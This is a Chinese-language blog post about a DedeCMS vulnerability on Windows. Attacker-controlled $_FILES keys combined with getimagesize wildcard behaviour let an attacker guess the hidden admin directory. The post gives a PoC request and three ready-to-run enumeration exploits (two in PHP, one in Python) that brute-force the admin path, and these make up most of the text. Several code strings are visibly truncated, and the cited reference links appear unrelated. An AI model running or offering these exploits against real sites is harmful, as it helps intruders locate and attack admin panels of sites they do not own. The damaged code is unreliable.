dedecms安全 - windows系统下织梦后台路径猜解漏洞poc 非暴力破解


利用限制

    仅针对windows系统

进入正题

    首先看核心文件common.inc.php 大概148行左右

if($_FILES)

{

    require_once(DEDEINC.'/uploadsafe.inc.php');

}

uploadsafe.inc.php

if( preg_match('#^(cfg_|GLOBALS)#', $_key) )

{

    exit('Request var not allow for uploadsafe!');

}

$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name

${$_key.'_name'} = $_FILES[$_key]['name'];

${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);

${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);

if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )

{

    if(!defined('DEDEADMIN'))

    {

        exit('Not Admin Upload filetype not allow !');

    }

}

if(empty(${$_key.'_size'}))

{

    ${$_key.'_size'} = @filesize($$_key);

}

$imtypes = array

(

    "image/pjpeg", "image/jpeg", "image/gif", "image/png",

    "image/xpng", "image/wbmp", "image/bmp"

);

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))

{

    $image_dd = @getimagesize($$_key);

    //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。

    if (!is_array($image_dd))

    {

        exit('Upload filetype not allow !');

    }

}

......

注意$$_key这一句,变量$key取自于$_FILE,由于$_FILE可控自然$key也可控,此处理论上是可以覆盖任意变量,但是前面有个正则判断不能出现cfg_|GLOBALS。(但是应该还可以覆盖其他变量此处感觉还可以深挖)

本人出发点是找个可以利用<<通配符猜解后台目录,所以只要$$_key参数可控就可以达到目的。

修正一处笔误。

但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置tmp_name为0或者1.jpg含. 就可以绕过。

if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )

    { 

        if(!defined('DEDEADMIN'))

        {

            exit('Not Admin Upload filetype not allow !');

        }

    }

   这个判断只需要设置${$_key.'_name'} 的值为0或者1.jpg 含点“ . ” 既可以绕过 如:_FILES[b4dboy][name]=1.jpg

最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。

当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow !

举个例子

文字不好表达,便于理解。

// ./dedecms/favicon.ico

if(@getimagesize($_GET['poc'])){

    echo 1;

}else {

    echo 0;

}

?>

get:

http://localhost/test.php?poc=./d

返回:1

http://localhost/test.php?poc=./a

返回:0

http://localhost/test.php?poc=./de

返回:1

http://localhost/test.php?poc=./ded

返回:1

........

构造poc

http://localhost/dedecms/tags.php

post:

dopost=save&_FILES[b4dboy][tmp_name]=./de

Common.inc.php 是被全局包含的文件,只要文件php文件包含了Common.inc.php都可以进行测试,以tags.php文件为例

当目录存在点时候: 图1

dedecms安全

当目录不存在点时候: 图2

dedecms安全 - windows系统下织梦后台路径猜解漏洞poc 非暴力破解

EXP:

$domain='http://localhost/dedecms/';

$url=$domain.'/index.php';

function post($url, $data, $cookie = '') {

    $options = array(

        CURLOPT_RETURNTRANSFER => true,

        CURLOPT_HEADER => true,

        CURLOPT_POST => true,

        CURLOPT_SSL_VERIFYHOST => false,

        CURLOPT_SSL_VERIFYHOST => false,

        CURLOPT_COOKIE => $cookie,

        CURLOPT_POSTFIELDS => $data,

    );

    $ch = curl_init($url);

    curl_setopt_array($ch, $options);

    $result = curl_exec($ch);

    curl_close($ch);

    return $result;

}

$testlen=25;

$str=range('a','z');

$number=range(0,9,1);

$dic = array_merge($str, $number);

$n=true;

$nn=true;

$path='';

while($n){

    foreach($dic as $v){

        foreach($dic as $vv){

            #echo $v.$vv .'----';

            $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv

            $result=post($url,$post_data);

            if(strpos($result,'Upload filetype not allow !') === false){

                $path=$v.$vv;$n=false;break 2;

            }

        }

    }

}

while($nn){

    foreach($dic as $vvv){

        $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv

        $result=post($url,$post_data);

        if(strpos($result,'Upload filetype not allow !') === false){

            $path.=$vvv;

            echo $path . PHP_EOL;

            $giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';

            if(@file_get_contents($giturl)){

                echo $domain.'/'.$path.'/';

                $nn=false;break 2;

            }

        }

    }

}

?>

dedecms安全 - windows系统下织梦后台路径猜解漏洞poc 非暴力破解

感谢

感谢给我提供这个思路的朋友

参考文章:

http://www.ruanally.com
http://www.ruanbe.com
http://qk.gam7.com

另外网友提供的exp   -   php版本

    /*

        dedecms 后台地址爆破工具

        使用程序时,必须指定dedecms的版本,例如:5.6

        当你不确定dedecms版本时,请将5.6和5.7两个版本都尝试一遍,总有一个适合您!

        Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/

    */

    if(!isset($argv[1]) or !isset($argv[2])) {

        exit("error!

Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/");

    }

    $domain = $argv[2];

    $url = $domain . '/tags.php';

    $version = $argv[1];

    $path = my_func($url);

    if($path) {

        while(($path = my_func($url, $path))) {

            echo strtolower($path) . "

";

        }

    }

    else {

        for($i = 48; $i <= 90; $i++) {

            if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {

                $path = my_func($url, chr($i));

                while($path) {

                    echo strtolower($path) . "

";

                    $path = my_func($url, $path);

                }

            }

        }

    }

    exit();

    function my_func($url, $path = '') {

        $ch = curl_init($url);

        $i = 48;

        global $version;

        while($i <= 90) {

            if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {

                if($version != '5.7') {

                    /* v5.6版本及其以下 */

                    $admin_path = './' . $path . chr($i) . '

                }

                else {

                    /* v5.7版本 */

                    $admin_path = './' . $path . chr($i) . '

                }

                $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

                $options = array(

                                CURLOPT_USERAGENT => 'Firefox/58.0',

                                CURLOPT_RETURNTRANSFER => true,

                                CURLOPT_POST => true,

                                CURLOPT_POSTFIELDS => $data,

                );

                curl_setopt_array($ch, $options);

                $response = curl_exec($ch);

                if(!preg_match('/(Upload filetype not allow !)/i', $response)) {

                    $path = $path . chr($i);

                    return $path;

                }

            }

            $i++;

        }

        curl_close($ch);

        return false;

    }

?>

python版本:

#!/usr/bin/env python

'''/*

    * team  = 安全团队

    * env    = pyton3

    *

    */

'''

import requests

import itertools

characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"

back_dir = ""

flag = 0

url = "http://192.168.1.9/tags.php"

data = {

    "_FILES[mochazz][tmp_name]" : "./{p}<

    "_FILES[mochazz][name]" : 0,

    "_FILES[mochazz][size]" : 0,

    "_FILES[mochazz][type]" : "image/gif"

}

for num in range(1,7):

    if flag:

        break

    for pre in itertools.permutations(characters,num):

        pre = ''.join(list(pre))

        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)

        print("testing",pre)

        r = requests.post(url,data=data)

        if "Upload filetype not allow !" not in r.text and r.status_code == 200:

            flag = 1

            back_dir = pre

            data["_FILES[mochazz][tmp_name]"] = "./{p}<

            break

        else:

            data["_FILES[mochazz][tmp_name]"] = "./{p}<

print("[+] 前缀为:",back_dir)

flag = 0

for i in range(30):

    if flag:

        break

    for ch in characters:

        if ch == characters[-1]:

            flag = 1

            break

        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)

        r = requests.post(url, data=data)

        if "Upload filetype not allow !" not in r.text and r.status_code == 200:

            back_dir += ch

            print("[+] ",back_dir)

            data["_FILES[mochazz][tmp_name]"] = "./{p}<

            break

        else:

            data["_FILES[mochazz][tmp_name]"] = "./{p}<

print("后台地址为:",back_dir)

演示结果:

dedecms安全 - windows系统下织梦后台路径猜解漏洞poc 非暴力破解

dedecms安全 - windows系统下织梦后台路径猜解漏洞poc 非暴力破解。
部分来自:www.yuqingbao.cc

你可能感兴趣的:(dedecms安全 - windows系统下织梦后台路径猜解漏洞poc 非暴力破解)